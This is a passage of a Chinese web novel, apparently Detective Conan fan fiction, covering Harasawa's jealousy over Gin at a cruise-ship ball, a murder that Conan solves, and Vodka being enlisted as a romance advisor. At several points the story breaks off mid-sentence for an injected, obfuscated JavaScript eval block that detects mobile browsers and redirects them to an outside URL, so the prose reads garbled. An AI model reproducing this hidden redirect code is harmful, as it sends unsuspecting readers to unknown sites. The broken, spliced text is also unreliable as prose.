只听其中一个留着山羊胡的中年大叔说道:“你说那个银发男人身上到底有什么魅力,让有财有貌的樱井大小姐为他神魂颠倒?他看起来整个人冷冰冰的又不解风情,那位大小姐也不怕媚眼抛给瞎子看。” 闻言,坐在他对面的秃头男子开了口:“萝卜青菜各有所爱,说不定那位大小姐就喜欢这样的冰山美男。你是没见到她看着那个男人的眼神,好像恨不得给他吞下去。啧啧,这么如狼似虎的大美人,就是再冷漠的男人也得拜倒在她的石榴裙下。” 胡子大叔听了之后点头表示赞同,又不知想到些什么,一张老脸笑得像菊花似的:“舞会还没结束,他俩就急不可耐地离开了,现在指不定在做什么呢。” 秃头男子也是个身经百战的主,自然听出了对方的言外之意,他先是嘿嘿笑一声,而后将身子凑了过去,压低了声音说道:“那个男人的身体看着那么结实,肯定能让我们的大小姐欲、仙、欲、死。” 他们两个的对话越说越不堪入耳,原泽河只恨自己耳力太好,尽管不想听,可还是把那两个说的话全都一字不落地听进耳里,握住叉子的手无意识地用力,冷白的手背上青筋暴起。 两人你一言我一语的,说得绘声绘色,眉飞色舞,黑发青年听在耳里,脑海中不受控制地浮现出一些少儿不宜的画面,无名的怒火在胸腔中再度燃烧起来。 就在两人围绕着“琴酒到底能坚持多久”这个问题展开激烈争论的时候,原泽河再也坐不住了,霍然站起身来。 那边正在激烈讨论的两人被他这动静吓了一跳,不约而同地扭头看向他,马上又被他霜刃般的眼神给杀了回去,连忙挪开了目光,像个鹌鹑一样缩着脖子垂着头,大气都不敢出一口。 直到那道冷冰冰的视线从自己身上移开了,他们这才敢缓缓抬起头来,心有余悸地互相望了一眼,从彼此眼中看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871217|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了相同的惊骇之色:他们说错什么了,为什么那个人美心善脾气好的黑发青年,会对他们露出充满杀气的眼神? 原泽河当然不知道他们都在想些什么,也不想知道,此刻的他被某种情绪冲昏了头脑,心中只剩一个念头——他要是放任不管,那边就生米煮成熟饭了,到时候他后悔都来不及。 在这个念头的驱动下,他走到琴酒坐过的位置旁边,目光向下看了一眼,眼尖地发现地上掉落了一根银色长发。他当即蹲下身子,捡起那人不知何时掉落的头发丝,随后默不作声地走出了大厅。 东转西绕地来到某个僻静的角落,他随手布下一个与外界隔音和隔视的结界,然后从怀中取出一张上好的符纸,把它折叠成一只小狗的形状,再朝它吹了一口气,把它向空中一抛。 在落地的一瞬间,他折的纸狗像有了生命似的,顷刻便活泛了起来,摇着尾巴走到他跟前,亲昵地蹭着他的小腿。 原泽河蹲下身子,手里捏着那根银色长发凑到它鼻子下方,用不容置疑的语气吩咐道:“带我找到这根头发的主人。” 那只纸狗似乎很有灵性,听懂了他的话,先用鼻子仔细嗅了嗅,不消片刻就朝着某个方向狂奔而去,原泽河见状,迈开笔直的长腿就亦步亦趋地跟在后面。 他一路顺着纸狗的指引,七拐八绕地走了大概七八分钟,最后在走廊尽头的一间房间外停下。纸狗完成他交待给自己的任务后,靠在他脚边欢快地摇着尾巴,一副求表扬的样子。 终于找到了自己要找的人,原泽河蹲下身子,奖励似的摸了摸纸狗的头。纸狗被自家主人那么温柔地顺毛,发出一声舒服的喟叹,脸上扬起了大大的笑容。 下一刻,一道白光闪过,那只乖巧的小狗恢复了原形。黑发青年将之重新收回怀中,然后试着拧了拧把手,发现果然拧不动,应该是被人从里面反锁上了。 对于这个结果,原泽河并不意外,他从兜里掏出一根细长的铁丝,将其伸进锁孔里,来回捣鼓了几下才收回铁丝。 大功告成后,他站在那道门前,并未立刻进门,而是徘徊在门口。一方面是怕看到什么不该看的东西,另一方面则是因为—— 在他即将破门而入时,理智再度占据上风,他想到自己跟捉奸一样的架势,那个被他暂时搁置在一边的念头再度浮现在脑海中。 他和琴酒就只是有肉/体关系的上下级,说是床伴没错,说潜规则,也言之有理。两人之间的关系或许难以界定,但显而易见的是,他俩无法称作情侣。 既然如此,他有立场阻止自己的床伴变成别人的床伴吗? 想到这里,黑发青年准备拧动门把手的动作一顿,瞬间犹豫了起来。就在他天人交战的时候,房间里传来了一道重物落地的声音。 显然在这种场合下,出现这道声音是不合时宜的,原泽河电光火石间转过很多念头,最后轻轻呼出一口气,将门把手拧到底,只听咔嚓一声,房门打开了。 12. 这个Boss不太冷静4 原泽河推开门,蹑手蹑脚地踏进房间,待他看清里面的场景,金色的双眸骤然睁大,脸上震惊的表情藏都藏不住。 ——房间里的那对男女是琴酒和樱井千影没错,但出乎他意料的是,两人并没有进行一些少儿不宜的事情,而更令他吃惊的是,本该好好与心上人温存一番的樱井千影此刻却四仰八叉躺在地上,只见她紧闭双眼,眉关微锁,显然是昏了过去。 另一位当事人站在半明半暗的阴影中,眼睫垂下,居高临下地看着她,神色晦暗不明。 想象中的捉奸场面没出现,原泽河神色怔愣地看着躺在地上的那个女人,脑袋里一片混沌,唯有一个念头无比清晰——怪不得他会听到房间里传来重物倒地的声音。 听到门口处传来的动静,琴酒扭头看过去,冷不丁地对上了那双他再熟悉不过的金色眸子。 琴酒看着那个本不该出现在这里的男人,惊讶地微微张开嘴巴。两人就这么面对面,静默地隔空相望着,一个神色怔忪,眼里满是不可置信,一个嘴唇微张,脸上写满了疑惑。 房间里静悄悄的,谁也没说话,大概过了两三分钟,原泽河轻笑一声,打破了寂静。 只见他姿态闲散地倚在门口,先是朝昏倒在地上不省人事的樱井千影抬了抬下巴,然后冲琴酒挑起一边眉毛,虽然并未开口,但那张俊美得不像话的脸上明明白白写着四个大字:“解释一下?” 琴酒怔愣片刻才反应过来他问的是什么,他斟酌着措辞,从善如流地回答道:“您前脚刚离开,那位樱井小姐后脚就邀请我共舞一曲,我本来想拒绝的,但想着此行来的目的,最后还是答应了。” “谁知跳着跳着,她忽然说周围太吵闹,要找个僻静的地方和我单独相处,我为了早点完成任务,也就点头答应了。” 他说到这里顿住,过了片刻,方才继续说道:“刚一踏进房间,我就向她表明了自己的身份,之后又替您传达了希望与她合作的意愿,她先是沉默了一会,然后笑着说自己可以应允此事,但前提条件是——我答应做她男朋友。” 说到此处,琴酒不知为何竟有些心虚,他小心翼翼地看了一眼Boss的脸色,但见他神色无异,不像是生气的样子,一颗心这才落回了肚子里。 然而没多久,Boss就向他抛出了一个超级——棘手的问题:“结果你非但没有同意,而且还把她打晕了?你为什么要这样做?” 听他这么一问,琴酒的身子在一瞬间僵硬,那张素来冷淡的脸上也露出些许无措来。 气氛陷入长久的沉默,原泽河等了半天也没等到他的回答,但他并未催促,只是微笑地凝视着琴酒,耐心地站在原地等待着他的下文,眸底是连他自己都没有察觉到的温柔。 又过了两分钟,他终于等到了对方的回答:“因为我不喜欢她,不愿意把自己当做交易的筹码。” 闻言,原泽河唇边的笑意更深了。他向前走了几步,拉近了和琴酒之间的距离,然后定定地锁住他的目光,不给他任何逃避的机会:“你为什么不喜欢她?她是不够漂亮还是不够有钱?” 他似乎一定要打破砂锅问到底,惯于控场的酒厂TK一时也有些招架不住,变得哑口无言起来。为了避免他再问下去,让自己更加难堪,琴酒强迫自己抬起头来,尽量镇定地迎上他的目光:“那您呢……您为什么会出现在这里?” 突如其来的话题转变让原泽河险些没转过弯,他再也没了先前那副游刃有余的样子,紧张地舌头打结:“我我我之所以……是因为……” Boss支支吾吾半天,也没说出个所以然来,琴酒瞧着他这般模样,莫名有种扳回一局的快感,嘴角有些得意地勾起来。 银发杀手的目光始终落在他的身上,片刻都不曾偏离,原泽河知道这个问题无法糊弄过去,咬了咬牙,索性豁出去,拔高音调道:“好吧,我承认了,我就是不爽!!!我不会把你拱手让给别人,谁都不行!!!” 没想到他会说的这么直白,琴酒顿时怔愣在原地,千言万语一瞬间都卡在喉咙里,上不来也下不去。一阵诡异的沉默后,他右手握拳,抵在嘴边轻咳两声,以此来掩饰自己内心的悸动。 不愿意将他拱手让人么……他脑海中循环播放着刚才的那句话,面上虽然一如既往的平静,内心却掀起了狂风巨浪,所有的理智都被卷入海中,某种说不清道不明的情绪席卷着将他淹没。 原泽河将憋了许久的心里话说出来之后,并未感到窘迫,反而轻松了许多。但站在他对面的琴酒却陷入长久的沉默中,他见状并未出声打扰,只是默默站在一边,漫无目的地打量着这个房间。 这个房间的布局装饰完全不输五星级酒店的总统套房,没有一处不透着金钱的气息。原泽河正在感叹军火女王的壕无人性,余光忽然瞥见放在房间角落的两个架子。 在看清架子上摆放的东西后,他满脑子都被一个念头占据着——这个房间就是专供那个女人寻欢作乐的,不然这么短的时间里,她哪能凑得齐那么多各式各样奇形怪状的情趣用品? 一想到那个女人对琴酒的龌龊心思,原泽河的心里就升腾起一股压抑不住的恼火。他三步并两步走到琴酒跟前,指着那些五花八门的玩具,委屈巴巴地说道:“你要是不把那个女人打晕,就要被她用各种玩法这样那样不可描述了。” Boss说这话的时候,语气不免有些酸溜溜的,可听在琴酒耳中,却让他模模糊糊地有些开怀。他还没来得及作出回应,Boss又语不惊人死不休地说了一句:“反正她也晕过去了,不如你我来试用一下这些玩具吧?” 话音落下的瞬间,琴酒怀疑自己耳朵出问题了,但在看到Boss无比认真的神情时,他就打消了这个念头,顿时局促到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871218|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连手都不知要放哪里,没被长发遮掩的耳朵霎时间变得红彤彤的。 原泽河凝视着那一抹绯色,心底像是被猫爪忽然挠了一下,痒痒的,但他深知见好就收的道理,眼珠骨碌一转,笑吟吟地开口道:“你放心,我和那个女人不一样,我可舍不得这么对你。” 他说这话时,语气温柔得像是个合格的恋人,琴酒在原地呆站了几秒,红晕一路从耳根蔓延到脖颈处。 “好啦,不逗你了。”原泽河将他此时的样子尽收眼底,心里直呼可爱,不久前结的郁气一扫而空。他强行压下在对方脸上亲一口的冲动,一本正经地说道,“时间差不多了,我们也该走了。在我们走之前,还是把樱井大小姐扶到床上去吧,毕竟她可是我们未来的合作伙伴,地板那么凉把她冻坏了可怎么办?” 随着他话音落下,琴酒忽然低下头,像个做错了事情的小孩子一般,语气中满满都是自责和歉意:“实在抱歉,我非但没有答应她,甚至还把她打晕了,这势必会影响到您的计划。” 原泽河像是早就预料到他会这样回答,脸上没有露出丝毫意外的神色。他再次上前一步,与琴酒隔着触手可及的距离。毫无预兆地,他忽然伸出手捏住琴酒的下巴,强迫他抬起头来正视自己,而后盯着他的眼睛一字一句认真地说道:“我可没说怪你,事实上,我巴不得你打晕她呢。要是你没有这样做,对她下手的人可就是我了。” 盯着他的那双眼睛犹如世界上最珍贵的宝石一般璀璨夺目,让琴酒不由得屏住呼吸,生怕一个不小心就会被吸入其中。对方每说出一个字,就像砸下一颗石子一般,让他那素来平静无波的心湖泛起一圈又一圈的涟漪。 “至于合作一事,我会另想他法的。如果她非要逼我把你拱手相让,那这事就没得商量了。” “这话听起来真像昏君。”不知道为什么,琴酒脑子里竟然冒出这个念头,但片刻之后,他就被这个突然冒出的念头雷得外焦里嫩的,“Boss是昏君的话,他不就成妖妃了?” 他摇了摇头,把这荒谬的想法甩出了脑袋,然后恢复了平时那副冷静的模样,朝Boss轻轻地点了点头:“我知道了。” 原泽河见他接收到了自己的意思,欣慰地勾起了唇角。片刻后,他朝琴酒使了一个眼色,紧接着两人合力将樱井千影抬上床。 弯下身子把被子给她掖好,原泽河没有立刻起身,而是动了动嘴唇,对着依旧昏迷不醒的女人做了个口型:“你就死了这条心吧,琴酒他只能是我的。” 丢下那句话后,他心满意足地转过身。下一秒,他伸出手去,一把抓住琴酒的手腕,不由分说拽着他就要离开。 而琴酒任由他拽着自己朝外面走去,一点也没有抗拒的意思,好似一只温顺的羊羔一般。走出门口那一瞬间,他垂着眼,看向那只修长的手,唇边浮现出一抹几不可察的笑意。 13. 这个Boss不太冷静5 出了门后,原泽河一路拽着琴酒回到宴客厅,而距离他找到对方,才不到半个小时。 此时舞会仍在继续,宴会厅里觥筹交错、衣香鬓影,四下一片热闹景象。琴酒走到自己原先的位置坐下,下巴搁在交叉的双手上,视线无意识地投向宴会厅角落的茶点自助区,黑发金眸的俊美青年正挑选着心仪的小蛋糕,神情无比认真,仿佛在做着一件十分严肃的事情。 直到对方冲他走过来,他才不着痕迹地收回视线,端起桌上的香槟轻抿了一口。当他放下手中的高脚杯时,Boss已经回到了自己的座位上。 琴酒对上他那双璀璨的眸子,嘴唇微动,刚想说些什么,下一秒就看见他将一盘水果慕斯蛋糕推到自己面前,金眸染上了些许笑意:“Gin,这蛋糕特别好吃,你快尝尝。” 在他期待的目光里,琴酒停顿了几秒,而后拿起放在一旁的小叉子,叉了一块蛋糕送进嘴里。 见他神色毫无变化,原泽河不由得吞了吞口水,一脸紧张地看着他:“不合你口味吗?” 听出他声音里的不安,银发杀手沉默片刻,违心地摇了摇头:“蛋糕很好吃,口感细腻,甜度适中。”像是怕对方不信,他又叉起一小块蛋糕放进嘴里,还装出一副品尝到了人间至味的样子。 得到他的认可后,原泽河勾起嘴角,颇为得意地笑了笑,那样子活像只翘起尾巴的狐狸。 随之而来的是一阵沉默,两人低头吃着各自盘里的食物,气氛安静而又和谐。但这种美好的气氛并未持续多久,便被不远处的交谈声打破。 这声音听着耳熟,原泽河立马朝着声源处望去,果然见到了斜对面那两个讨厌的家伙。两人跟做贼似的交头接耳,原泽河瞧着这副样子,立刻被勾起了好奇心,竖起耳朵听了一阵。 胡子大叔偷偷瞥了眼不远处的银发男子,而后飞速移开视线,对着老友低声说道:“那家伙看起来挺能干的,谁知道连一个小时都撑不了,真是让人大跌眼镜!” 秃头男子闻言赞同地点了点头,附和道:“那么大的个子,结果是个花架子!” 两人说完之后,嘿嘿地笑了起来,原泽河听着他们揶揄的笑声,下意识地看向琴酒。男人无端风评被害,此刻的脸色阴沉得像是想杀人,他看着对方额头上因为生气而暴起的青筋,眼底的笑意止不住地溢了出来。 琴酒瞥了眼眉眼弯弯的Boss,嘴上虽未说话,但眼神里却明明白白写着“您笑够了没有”几个大字。 原泽河怕他恼羞成怒,立马收敛了面上的笑意,装出一副不认同他们的模样,厉声斥责道:“呸呸呸!老家伙胡说八道什么!我们家Gin最最最最最厉害了!” 随着他话音落下,气氛陷入了诡异的沉默,琴酒垂下长长的眼睫,一边拿着叉子戳着蛋糕胚,一边在心里腹诽了一句:你又没有试过,怎么知道我厉害的? 这个小插曲很快过去,两人再一次默不作声地各自吃着蛋糕,对方才的事绝口不提。 吃完蛋糕,原泽河给自己倒了杯茶解腻用,当他放下茶杯时,不远处传来一个女人的尖叫声:“不好啦!快来人啊!我家大小姐死啦!” 此话一出,震惊全场,就连原泽河也被惊得手中叉子掉落在地。他第一时间望向琴酒,两人对视一眼,神色都变得有些凝重起来。 * 大约一小时过后,目暮警官带着一队警卫人员登上游轮,他们以极快的速度封锁了案发现场,然后派验尸官对死者进行尸检。 又过了半个小时左右,验尸官有了一个初步的推断,他对着目暮警官说道:“受害者胸腹被人捅了一刀,因失血过多不幸身亡,案发时间大概是晚上七点到九点之间。” 听到验尸官呈报的验尸结果,在场众人倒吸一口凉气,齐刷刷地看向琴酒,目光之中尽是怀疑。原泽河见状很是不爽,恶狠狠的一眼瞪过去,把他们吓得连大气也不敢喘。 向来随性散漫,连重话都很少对人说的Boss,此刻罕见地露出煞气,琴酒看着这个明显和平时不一样的Boss,心底似有暖流淌过。 其他人都问得差不多了,目暮警官转过身,朝那个面色冷然的银发男人走了过来,对他例行公事地盘问:“黑泽先生,请问死者生前见到的最后一个人是你吗?” 感受到对方审视的目光落在自己的身上,琴酒眉头瞬间拧了起来,但现在不是跟这群讨厌的条子发生冲突的时候,他强压下心头的不适,尽量让自己的语气保持平稳:“在樱井小姐死前,我的确和她在那个房间单独呆了一会,但我没过多久就先行离开了,至于之后的事,我就不清楚了。” 目暮警官默不作声地听完他的话,犹豫了片刻,还是将心中疑问说了出来:“你为什么会先行离开?我可是听人说,樱井小姐对你有意,你们孤男寡女共处一室,哪有把别人丢下的道理?” 当目暮警官把这个疑问抛出来时,琴酒登时哑口无言,不知该如何回答,厅内气氛一时陷入凝滞。 一阵难捱的沉寂过后,原泽河再也忍不住了,冲过去将琴酒护在身后。他毫不畏惧地迎上目暮警官打量的目光,盯着他一字一句地说道:“那是因为我把他给带走了。” 目暮警官没料到半路杀出个程咬金,怔愣了几秒后,他望了对方一眼,神色复杂地说:“那么这位先生,你这样做的目的是什么?” 此话一出,众人瞬间来了精神,兴致颇高地等待他的回答。 在众人的目光注视下,原泽河只是短暂地迷茫了片刻,转瞬便恢复如常。他静立原地,不躲不闪地对上目暮警官的视线,似笑非笑道:“因为我喜欢他,不想把他拱手让人,这个理由够不够?” 他声音不大,却让围观人群听得清清楚楚,众人一时惊讶得说不出话来,视线在二人身上来回打转,心中既震惊又觉得可惜——震惊是震惊于他们居然是这种关系,可惜是可惜在这年头极品帅哥都内部消化了。 在最初的震惊过后,目暮警官恢复到原来的状态,一板一眼地问道:“那你带走黑泽先生的时候,死者是什么反应?” 原泽河眼珠子骨碌一转,脸不红心不跳地撒谎:“她当时表现得挺生气,不过就算再生气,我也不会把黑泽让给她!!!” 目暮警官听完他的叙述后,沉默了约莫两分钟,正当他要开口的时候,一名盘着头发戴着眼镜的年轻女子往他那边走去,一边走还一边说:“那这样看来,我家大小姐被他杀死的可能性很大。毕竟大小姐抢了他喜欢的人,他有明确的作案动机。” 闻言,原泽河当即蹙起眉头,他朝着声源看了过去,待看清那人的脸,瞳孔瞬间放大。 这人不就是樱井千影的贴身助理?她不好好和自己的男朋友腻在一起,跑过来污蔑自己干嘛? 忽然想到什么,他的目光下意识地搜寻着那名侍应生,很快就从一众仆从中搜寻到了对方的身影。 猝不及防对上他的眼眸,一直在角落沉默不语的侍应生条件反射地打了个激灵,脸上带着显而易见的慌张,但他只是慌张了一瞬便恢复如常,继续垂手侍立在一旁,一副闭目塞听的模样。 原泽河将他的神情变化都看在眼里,联想到之前偷听到的话,心中已有了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871219|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分计较。他将视线挪回到女助理的身上,说话的语气不疾不徐:“照你这么说,凡是和樱井小姐存在着感情纠葛的人都有作案动机,那你也该被列为犯罪嫌疑人。” 这话可谓直击要害,女助理顿时花容失色,急声道:“证据呢?没有证据,你怎么能随便污蔑别人呢?” 原泽河听罢嗤笑一声,说道:“我才不像你一样,为了洗清自己的嫌疑,拉无辜的人下水。我敢这样下定论,自然是有证据的。”说完,就将之前偷听到的话原原本本地告知给了目暮警官。 他每说出一个字,女助理的面色就白上一分,等他说完,她已是面无人色。沉默了大概有两三分钟,她再度抬起头来,神情已经恢复镇定:“但这些都只是你的一面之词,到底是真是假谁也不知道。” 见她死不认账,原泽河眸子微闪,冷冷地哼了一声:“你信不信都无所谓,我身正不怕影子斜,相信警察定会查明真相,还我清白。”只是他嘴上说着相信警察,眼神却偷偷看向那个穿着蓝色西装的小侦探。 对方正低着头似乎在思索着什么,原泽河安静地看着他,心里默默为他加油:“小侦探,接下来该轮到你出场了。” 仿佛为了印证他的想法一样,下一秒,柯南便抬起头来,唇角勾起一抹自信的笑容,仿佛胜券在握。 原泽河看着他那副自信满满的样子,一颗心顿时落回肚子里,知道整件事很快就可以水落石出了。 过了片刻,一根麻醉针无声地射中铃木园子的后脖颈,她当即一阵头晕目眩,身子踉跄了几步,最后走到离她最近的那张椅子前坐下。她屁股刚一落座,柯南就以最快的速度跑到椅子后面,将自己的身形隐匿在她背后。 这个场景似曾相识,只是那个被麻醉针射中的人从毛利小五郎换成了铃木园子。原泽河看着低着头一动不动的铃木大小姐,脑中突然不合时宜地冒出一个念头:米花町的犯罪率如此之高,小侦探的身边人还够用吗? 事情接下来的发展顺利得出乎意料,柯南躲在椅子后,模仿铃木园子的声音,抽丝剥茧地分析案情,最后一针见血地指出了真正的凶手——樱井千影的贴身助理。 女助理起初还为自己狡辩一下,但在对方拿出铁一般的证据后,当即双膝一软,跪在地上崩溃大哭,对犯罪事实供认不讳。 ——她杀害樱井千影的理由十分简单,她和自己的男朋友彼此相爱,那个女人却总想着横刀夺爱,时不时地给她下绊子穿小鞋,自己早就对她怀恨在心,示她为眼中钉肉中刺,恨不得除之而后快。 真相水落石出以后,女人被警察拷上手铐带走,那名侍应生呆呆立在原地,视线片刻不曾离开她,目送她的身影消失在宴客厅,整个人跟死了一样动也不动。 原泽河看着这生离死别的一出,一时不胜唏嘘,而就在这时,身侧人冷不丁开口:“原哥哥,在我们初次见面的那家咖啡馆里,接受你简讯的对象是黑泽先生吗?” 这一声瞬间吸引了他的目光,原泽河低头看着那个穿着蓝色西装,系着红色领结的小侦探,反应了一瞬,才明白过来他问的是什么,大大方方地承认道:“没错。” 柯南没想到他应得这么干脆,原本想说的话顿时都咽回肚子里。他斟酌着措辞,试探性出声:“那你们现在是恋爱关系吗?” “不是。”原泽河听完他的问题后,冲着他摇了摇头,柯南刚松上一口气,下一秒就听他意味深长地说道,“暂时还不是。” 他说完之后,转身离开,柯南整个人都当场石化,眼神呆滞地看着他离去的背影,一副三观被震碎的样子。 14. 每天都在刷好感度1 经历了游轮杀人事件后,原泽河终于看清了自己的心意,想明白了自己最近那些反常举动到底是怎么回事。 ——在看到琴酒身负重伤时,他为什么会害怕成那样;当琴酒声称自己只是出于下属的职责才豁出性命保护他时,他为什么会感到不满;当琴酒被樱井千影带走的时候,他又为什么不爽到极点…… 这一切的一切,都只有一个解释——他不只当琴酒是“炉鼎而已”,他真真正正地喜欢上了琴酒。 从意识到自己的心意以后,原泽河开始不再满足于现状,现在的他不想只是琴酒的床伴,更想成为他的恋人。他要的,不仅是琴酒的身体,还有他的心。 如果他想要达成完美攻略,就得有一个为他出谋划策的恋爱军师,而这恋爱军师一职,简直是为伏特加量身打造的。他跟在琴酒身边多年,一路陪着他出生入死,对他的脾性可谓是知根知底,自己要是能成功拿下伏特加,将来追爱必定事半功倍。 于是乎,在一个阳光明媚,风和日丽的日子里,原泽河给伏特加发了一条简讯,约好在他家附近的一家拉面店见面。伏特加最近任务结束没有什么工作,一直窝在家里,收到他的简讯后想都没想就答应了,反正闲的没事。 两人走到店内时正值饭点,拉面店里生意红火,来往的人很多,他们好不容易才找到个旮旯位置坐下。落座之后,原泽河当即表示让伏特加放开肚子吃,反正今天他请客。 伏特加听完大喜,一点也不客气地要了一份超级无敌豪华版豚骨拉面,一碗不够,再来一碗,吃了一碗又一碗。 大快朵颐一番之后,伏特加心满意足地搁下了筷子,倚靠在椅子上打了个响亮的饱嗝。过了片刻,他将视线投到了对面人的身上,那人只吃了一碗面便不吃了,此刻正低头玩着手机,看样子很是专注。 伏特加轻轻敲了一下桌面,成功将对方的注意力吸引过来。迎上那双璀璨的金眸,他直截了当地切入正题:“有什么需要我帮忙的,你直说,跟我就不用客气了!” 闻言,原泽河把手机塞回兜里,抬眸瞥了眼堆成小山一般的面碗,满脑子只有一个念头——怪不得长得这么壮,这胃口相当可以啊。 他在心里感慨了这么一句,而后故意装出一副无辜的样子,眨眨眼道:“前辈这话就说得太见外了,我就不能是感谢你两个月来的关照才请你吃饭的吗?” 听了这话,伏特加颇为不好意思地摆了摆手道:“我其实也没帮什么忙,你是凭本事在组织站稳脚跟的。这些天你的能力大家都是有目共睹,不光是我,就连大哥也是对你赞赏有加。” 原泽河自动忽略了他说的前半句话,他稍微向前倾了倾身子,对着他的后半句话回应,语气里都是压抑不住的雀跃:“前辈能告诉我,大哥他夸我什么了?” 伏特加想也没想直接脱口而出,将琴酒当初说过的话原封不动地转述给他:“他说你不仅身手厉害脑子也聪明,是个可造之材,组织里已经很久很久没有出现过像你这样能让他省心的家伙了。” 原泽河安安静静地听完后,上扬的嘴角再也压制不住,他微微提高了声量,一脸笑意盎然地说道:“前辈说的都是真的?” 伏特加听他这么问,傲娇地哼了一声:“我拿这个骗你有什么好处?”话音刚落,他又想起什么,话锋一转:“你这么大张旗鼓地请客吃饭,必定是有事相求,明人不说暗话,有什么事情我能帮上忙的,我一定帮到底。” 话都说到这份上了,原泽河不再遮遮掩掩,定定地望向伏特加,不紧不慢地说道:“什么都瞒不过前辈,我的确有件事情需要您帮忙。” 总算是切入正题了,伏特加不由地屏住了呼吸,心里又紧张又有点期待地等着他的下文。 在短暂的一段静默过后,原泽河郑重其事地看着他,一字一句地说道:“我想请您帮我追到琴酒大哥。” 随着他的话音落下,伏特加惊得连嘴巴都大张开来,可以塞下两个鸡蛋那么大。 原泽河对他的反应并不意外,他笑着望向伏特加,耐心地等着他消化这个消息。感觉像是过了半个世纪那么久,他终于等到了对方的回答:“你刚才说的那句话……是我想的那个意思吗?” 他闻言轻笑一声,点了点头:“没错,就是你想的那样。我喜欢琴酒大哥,想把他追到手,如果前辈愿意为此牵线搭桥,我感激不尽。” 他的语气十分诚恳,可伏特加听完后,头疼得更厉害了。他抬手揉了揉自己的太阳穴,尽量委婉地拒绝:“不是我不想帮你,但大哥他对男人一点兴趣都没有,我就算有心也无力啊。” 原泽河早就预料到他会这么说,被他拒绝,也不气馁:“前辈就这么笃定琴酒大哥不会喜欢男人?” 见他依旧不肯死心,伏特加只得无奈地说道:“不是男人女人的问题,我跟在大哥身边那么多年,就没见他对谁上心过,在我看来,他压根不会喜欢上任何人。” 此话一出,原泽河像是被勾起了什么记忆,意味不明地笑了下:“曾经的我也是这么以为的。” 他这一番话说得云山雾绕,伏特加一时摸不着头脑,不明所以地问道:“什么?” 原泽河装作没听到的样子,从口袋里掏出一张演唱会门票,将其推到伏特加面前,用眼神示意他收下。 伏特加迟疑片刻,最终还是将其拿在手里。等他看清门票上的字,瞳孔瞬间睁大了十倍——百利甜递给他的,居然是洋子小姐演唱会的门票,这门票特别难抢,他蹲了好久都没抢到,当初还为此难过许久,谁知道今天居然得偿所愿了,这可真是天上掉馅饼的好事。 突然被馅饼砸到的他开心得不得了,将那张门票拿在手中反复翻看,神情认真得仿佛验钞似的。然而一想到收下之后可能要付出的代价,他又打起了退堂鼓,就像扔掉烫手山芋似的把那张门票扔在一边。 似乎是看出了他心中所思所想,原泽河忽然一鼓作气地说道:“洋子小姐的演唱会门票只是见面礼,如果你帮我追到了大哥,我还可以安排你们共进晚餐,单独的那种!” 这话就像是杀手锏,伏特加刚刚那点犹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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另外还有一件事情……他不知怎么突然想起来那个阳光明媚的日子。 那天他刚好有空,在安全屋的厨房里捣鼓了一早上,给大哥煲了满满一大锅的鸡汤,特地带着去医院看望他。 可当他走到病房门口的时候,却亲眼看到一幅超出他认知范围的画面。 百利甜许是累了,就这样毫无防备地趴在大哥的病床旁边,跟他手牵手地睡着了。他的发丝在阳光下熠熠生辉,看上去非常好rua的样子,而大哥空闲的那只手差点就要摸上他的头发。 察觉到他的到来,琴酒将伸出的手又缩回,竖起一根食指在嘴边,示意他噤声,不要打扰百利甜休息,另一只手则任由百利甜握着,没有任何挣脱的迹象。 那时候的伏特加就觉得有些不对劲,可具体哪里不对劲,他又说不上来,直到今日,他终于意识到了,是哪里不对劲。 思绪飘回到现在,他抬眼看了看兀自微笑着的黑发青年,目光中带着一丝不易察觉的洞悉之意。 ——或许他为百利甜牵线搭桥,受益者并不只有百利甜一个。 15. 每天都在刷好感度2 5号组织基地,琴酒正站在靶场中央,举着枪对准靶子,专心致志地练习射击。随着他扣动扳机,一颗颗子弹如疾风般脱膛而出,每发子弹都命中红心,机械女声报分的速度甚至赶不上他的射击速度。 当一弹夹子弹被清空时,一阵噼里啪啦的掌声夹杂着脚步声由远及近传来,他并不转身,只听脚步声就知道来人是谁。 来者正是伏特加,他将琴酒刚刚的表现收入眼底,三步并作两步走到琴酒跟前,毫不吝啬地赞美道:“大哥,你的枪法又精进了不少!什么时候我也能像你这么厉害就好了!” 